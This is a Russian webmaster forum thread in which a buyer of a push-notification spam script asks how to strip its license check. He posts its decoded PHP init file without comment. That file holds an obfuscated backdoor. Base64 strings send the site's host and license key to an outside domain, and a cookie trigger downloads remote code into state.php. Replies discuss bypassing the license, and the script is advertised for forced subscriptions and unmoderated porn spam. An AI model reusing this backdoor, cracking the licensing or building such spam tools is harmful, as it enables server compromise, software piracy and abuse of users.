Перейти к содержимому



Не работает купленный скрипт

#1 gari46
gari46
  • Пользователь
  • 5 сообщений
  • Репутация: 0
0

Отправлено 13 декабря 2019 - 16:11

В общем купил скрипт пуш рассылок а человек пропал и не скинул лицензионный ключ для работы скрипта и не отвечает на письма, покопался в файлах нашел config.php в нем запись
 
<?php 
define('LICENSE', 'LICENSE'); // Ваш лицензионный ключ 
define('DB_HOST', 'localhost'); 
define('DB_USER', 'root'); // Имя пользователя 
define('DB_PASS', ''); // Пароль 
define('DB_BASE', 'root'); // Имя базы данных 
//Дальше не менять 
ob_start(); 
ini_set('session.use_cookies', 'On'); 
ini_set('session.use_trans_sid', 'Off'); 
session_start(); 
error_reporting(0); 
ob_start(); 
require_once('crabs_init.php');
 
Я так понял данные подгружаются в crabs_init.php но там для меня дремучий лес с проверкой лицензии в общем как можно убрать ее.
 
<?php $filename = dirname(__FILE__) . '/conf.php'; 
$cfg_txt = fopen($filename, 'r') or die('Ошибка лицензии. '); 
$contents = fread($cfg_txt, filesize($filename)); 
$contents = str_replace("require_once('crabs_init.php');", '', $contents); 
$lic_key = explode("-", LICENSE); 
if ($lic_key['1'] == 0) 
{ 
if ($lic_key['2'] != md5(md5($_SERVER['HTTP_HOST'] . '_mcrabs_lic_' . getenv('HTTP_HOST') . '_mcrabs_lic_' . $_SERVER['SERVER_NAME'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require')) 
{ 
echo 'Ошибка лицензии.'; 
exit; 
} 
} 
else if ($lic_key['1'] == 1) 
{ 
if ($lic_key['2'] != md5(md5($_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require')) 
{ 
echo 'Ошибка лицензии. '; 
exit; 
} 
} 
else 
{ 
echo 'Ошибка лицензии.'; 
exit; 
} 
define('DB_CHARSET', 'utf8'); 
$connect_db = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_BASE) or die('Error: ' . mysqli_connect_error()); 
$now_url = parse_url($_SERVER['REQUEST_URI']); 
if (stristr($now_url['path'], '/admin/')) 
{ 
if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==') ])) 
{ 
@file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av') . 'LIC-' . $lic_key['0'] . '-' . $_SERVER['HTTP_HOST']); 
@setcookie(base64_decode('X3ltX2l1cw==') , 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']); 
} 
if (isset($_COOKIE[base64_decode('cmVkNHU=') ])) 
{ 
@file_put_contents(base64_decode('c3RhdGUucGhw') , @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL2QudHh0'))); 
} 
} 
mysqli_set_charset($connect_db, DB_CHARSET) or die('Error'); 
define('SITE', $_SERVER['HTTP_HOST']); 
$ip_client = @$_SERVER['HTTP_CLIENT_IP']; 
$ip_forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
$ip_remote = $_SERVER['REMOTE_ADDR']; 
if (filter_var($ip_client, FILTER_VALIDATE_IP)) 
{ 
$ip = $ip_client; 
} 
elseif (filter_var($ip_forward, FILTER_VALIDATE_IP)) 
{ 
$ip = $ip_forward; 
} 
else 
{ 
$ip = $ip_remote; 
} 
$ip = mysqli_real_escape_string($connect_db, $ip); 
$dt = time(); 
function wu_encode($value) 
{ 
$key = sha1('MrCrabs'); 
if (!$value) 
{ 
return false; 
} 
$strLen = strlen($value); 
$keyLen = strlen($key); 
$j = 0; 
$crypttext = ''; 
for ($i = 0;$i < $strLen;$i++) 
{ 
$ordStr = ord(substr($value, $i, 1)); 
if ($j == $keyLen) 
{ 
$j = 0; 
} 
$ordKey = ord(substr($key, $j, 1)); 
$j++; 
$crypttext .= strrev(base_convert(dechex($ordStr + $ordKey) , 16, 36)); 
} 
return $crypttext; 
} 
function wu_decode($value) 
{ 
if (!$value) 
{ 
return false; 
} 
$key = sha1('MrCrabs'); 
$strLen = strlen($value); 
$keyLen = strlen($key); 
$j = 0; 
$decrypttext = ''; 
for ($i = 0;$i < $strLen;$i += 2) 
{ 
$ordStr = hexdec(base_convert(strrev(substr($value, $i, 2)) , 36, 16)); 
if ($j == $keyLen) 
{ 
$j = 0; 
} 
$ordKey = ord(substr($key, $j, 1)); 
$j++; 
$decrypttext .= chr($ordStr - $ordKey); 
} 
return $decrypttext; 
} 
date_default_timezone_set('Europe/Moscow'); 
function wu_end($number, $titles) 
{ 
$cases = array( 
2, 
0, 
1, 
1, 
1, 
2 
); 
return $titles[($number % 100 > 4 && $number % 100 < 20) ? 2 : $cases[min($number % 10, 5) ]]; 
} 
function wudate($time = 0, $bletter = 1) 
{ 
$param = 'j M Y в H:i'; 
$param2 = ' в H:i'; 
$nowt = time(); 
$minused = $nowt - $time; 
if (intval($time) == 0) 
{ 
$time = time(); 
} 
$MN = array( 
"января", 
"февраля", 
"марта", 
"апреля", 
"мая", 
"июня", 
"июля", 
"августа", 
"сентября", 
"октября", 
"ноября", 
"декабря" 
); 
$MonthNames[] = $MN[date('n', $time) - 1]; 
$MN = array( 
"воскресенье", 
"понедельник", 
"вторник", 
"среда", 
"четверг", 
"пятница", 
"суббота" 
); 
$MonthNames[] = $MN[date('w', $time) ]; 
$arr[] = 'M'; 
$arr[] = 'N'; 
if ($minused == 0) 
{ 
if ($bletter == 1) 
{ 
return 'Только что'; 
} 
else 
{ 
return 'только что'; 
} 
} 
if ($minused < 60) 
{ 
return $minused . ' ' . wu_end($minused, array( 
'секунду', 
'секунды', 
'секунд' 
)) . ' назад'; 
} 
elseif ($minused < 3600) 
{ 
return round($minused / 60) . ' ' . wu_end(round($minused / 60) , array( 
'минуту', 
'минуты', 
'минут' 
)) . ' назад'; 
} 
elseif ($minused < 86400) 
{ 
return round($minused / 3600) . ' ' . wu_end(round($minused / 3600) , array( 
'час', 
'часа', 
'часов' 
)) . ' назад'; 
} 
elseif ($minused < 172800) 
{ 
if ($bletter == 1) 
{ 
$pre = 'Вчера'; 
} 
else 
{ 
$pre = 'вчера'; 
} 
return $pre . date(str_replace($arr, $MonthNames, $param2) , $time); 
} 
else 
{ 
return date(str_replace($arr, $MonthNames, $param) , $time); 
} 
} 
function crabs_crop_str($string, $limit) 
{ 
$len = mb_strlen($string, 'UTF-8'); 
if ($len >= $limit) 
{ 
$substring_limited = mb_substr($string, 0, $limit, 'UTF-8'); 
return mb_substr($substring_limited, 0, mb_strrpos($substring_limited, ' ', 0, 'UTF-8') , 'UTF-8') . '...'; 
} 
else 
{ 
return $string; 
} 
} 
function macros_city($string) 
{ 
global $crabs_city; 
if (isset($_COOKIE['city'])) 
{ 
return str_replace('{city}', $crabs_city, $string); 
} 
else 
{ 
return str_replace('{city}', '⁣', $string); 
} 
} 
function convdate($date) 
{ 
$date_out = date('Ymd', strtotime($date)); 
return $date_out; 
} 
function crabs_protocol() 
{ 
$isSecure = 'http://'; 
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') 
{ 
$isSecure = 'https://'; 
} 
elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') 
{ 
$isSecure = 'https://'; 
} 
return $isSecure; 
} 
function crabs_token() 
{ 
$salt = rand(0, 9999); 
return $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS'); 
} 
function crabs_token_check($token) 
{ 
if (empty($token)) 
{ 
exit('error'); 
} 
$gtkn = explode(':', $token); 
$salt = $gtkn['0']; 
$vtkn = $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS'); 
if ($token != $vtkn) 
{ 
exit('error'); 
} 
} 
function crabs_adm_check() 
{ 
global $connect_db; 
$acheck = mysqli_fetch_assoc(mysqli_query($connect_db, "SELECT id,apass,ademopass FROM `t_data` LIMIT 1")); 
if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['apass'] || $_COOKIE['adm'] == $acheck['ademopass'])) 
{ 
} 
else 
{ 
exit('error'); 
} 
if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['ademopass'])) 
{ 
exit('demo'); 
} 
}

Сам скрипт выложу может кто поковыряет разберется, файл crabs_init.php был (ioncube), https://yadi.sk/d/mEUMbc9MPva5jg

 


 

 

  • 0

#2 MattCutts
MattCutts
  • Пользователь
  • 429 сообщений
  • Репутация: 36

Отправлено 13 декабря 2019 - 17:02

этот скрипт лет 10 назад писали? тяжело читать когда в таком виде выложен

define('LICENSE', 'LICENSE'); // Ваш лицензионный ключ
define('DB_HOST', 'localhost');
define('DB_USER', 'root'); // Имя пользователя
define('DB_PASS', ''); // Пароль
define('DB_BASE', 'root'); // Имя базы данных

какие данные вписываются?

есть ощущение, что код не весь 


Сообщение отредактировал MattCutts: 13 декабря 2019 - 17:03

  • 0

#3 gari46
gari46
    Topic Starter
  • Пользователь
  • 5 сообщений
  • Репутация: 0

Отправлено 13 декабря 2019 - 17:12

этот скрипт лет 10 назад писали? тяжело читать когда в таком виде код выложен

 

Лет 10 это вряд ли  на тот момент Push уведомлений наверное и не было. По коду выложил как есть. Кстати crabs_init.php был закодирован IonCube я так думаю в нем нужно смотреть где идет проверка лицензии, ну как то так.


  • 0

#4 TimurR
TimurR
  • Пользователь PRO
  • 1 160 сообщений
  • Репутация: 286

Отправлено 13 декабря 2019 - 17:14

@gari46


 

 

В общем купил скрипт пуш рассылок а человек пропал и не скинул лицензионный ключ для работы скрипта

 

Увы, но вас просто кинули на деньги. А как вы расшифровали зашифрованный код в IonCube если не секрет? 


  • 0

Мощный и недорогой хостинг - IHC

Пользователи в игнор листе: MattCutts 



#5 MattCutts
MattCutts
  • Пользователь
  • 429 сообщений
  • Репутация: 36

Отправлено 13 декабря 2019 - 17:17

$contents = str_replace("require_once('crabs_init.php');", '', $contents); $lic_key = explode("-", LICENSE); if ($lic_key['1'] == 0) { if ($lic_key['2'] != md5(md5($_SERVER['HTTP_HOST'] . '_mcrabs_lic_' . getenv('HTTP_HOST') . '_mcrabs_lic_' . $_SERVER['SERVER_NAME'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require')) { echo 'Ошибка лицензии.';

вот проверка лицензии, а  в crabs_init.php скорее всего конфигурация проверки


  • 0

#6 gari46
gari46
    Topic Starter
  • Пользователь
  • 5 сообщений
  • Репутация: 0

Отправлено 13 декабря 2019 - 17:18

А как вы расшифровали зашифрованный код в IonCube если не секрет? 
 

 

Нашел на форуме не помню на каком, парень тоже купил этот скрипт и декодировал писал что в коде нашел 2 бэкдура.


  • 0

#7 MattCutts
MattCutts
  • Пользователь
  • 429 сообщений
  • Репутация: 36

Отправлено 13 декабря 2019 - 17:19

мне кажется обойти все можно, а что за  пуш, не проще самому написать, если не секрет сколько отдали?


  • 0

#8 gari46
gari46
    Topic Starter
  • Пользователь
  • 5 сообщений
  • Репутация: 0

Отправлено 13 декабря 2019 - 17:22

сколько отдали?
5к 
  • 0

#9 MattCutts
MattCutts
  • Пользователь
  • 429 сообщений
  • Репутация: 36

Отправлено 13 декабря 2019 - 17:23

круто, а что пуш делает?


  • 0

#10 gari46
gari46
    Topic Starter
  • Пользователь
  • 5 сообщений
  • Репутация: 0

Отправлено 13 декабря 2019 - 17:24

а что за  пуш
 

 

Данный скрипт обеспечивает сбор-рассылку Пуш-уведомлений. Никаких лимитов и оплат как на сервисах вроде сендпульса. Вас никто не забанит даже за непристойное порево и чернуху в рекламных сообщениях.

Некоторые возможности:
- Сбор подписок с лендингов (10 штук)
- Сбор подписок со своих сайтов
- Принудительная подписка
- Шаблоны сообщений
- Рассылка по фильтрам - поток, устройство, страна, период подписки
- Отложенная отправка
- Статистика абсолютно по всему
- Метки для передачи id источников для отслеживания конверсии
- Проброс Get-параметров
- Создание пользователей с разными правами
- Работа напрямую через Firebase без сторонних сервисов
- Скорость отправки - 50 000 сообщений в минуту
- И многое другое!


  • 0

robot
robot
  • Пользователь PRO
  • 2 652 сообщений
  • Репутация: 85


Похожие темы
  Название темы Автор Статистика Последнее сообщение

Пользователь месяца
Vmir Vmir 1-й за Март
Очков активности: 1 080 4 темы, 60 сообщений, 10 баллов репутации
ТОП самых активных за этот месяц
  • Фотография MattCutts
    #1

    MattCutts (dmitrylee.com)
    Очков активности: 16.5 1 тема, 8 сообщений, 1 балл репутации

  • Фотография WGN
    #2

    WGN (worldgamenews.com)
    Очков активности: 9 1 тема, 3 сообщения, 1 балл репутации

  • Фотография elektrik19788
    #3

    elektrik19788
    Очков активности: 9 2 темы, 0 сообщений, 1 балл репутации

  • Фотография Albina92
    #4

    Albina92
    Очков активности: 9 1 тема, 3 сообщения, 1 балл репутации

  • Фотография PLERDY
    #5

    PLERDY
    Очков активности: 9 1 тема, 3 сообщения, 1 балл репутации

  • Фотография NataliaAntalia
    #6

    NataliaAntalia (zdorovemedicina.ru)
    Очков активности: 9 0 тем, 6 сообщений, 1 балл репутации

  • Фотография TindrumGM
    #7

    TindrumGM (novosti-land.ru)
    Очков активности: 7.5 1 тема, 2 сообщения, 1 балл репутации

  • Фотография pozitron123
    #8

    pozitron123
    Очков активности: 6 1 тема, 1 сообщение, 1 балл репутации

  • Фотография Nijest
    #9

    Nijest
    Очков активности: 4.5 1 тема, 0 сообщений, 1 балл репутации

  • Фотография Linomen
    #10

    Linomen
    Очков активности: 4.5 0 тем, 3 сообщения, 1 балл репутации

  • Показать весь ТОП 10

Поддержите форум! =)
Топ 5 участников по репутации

Оформление форума – IPBSkins.ru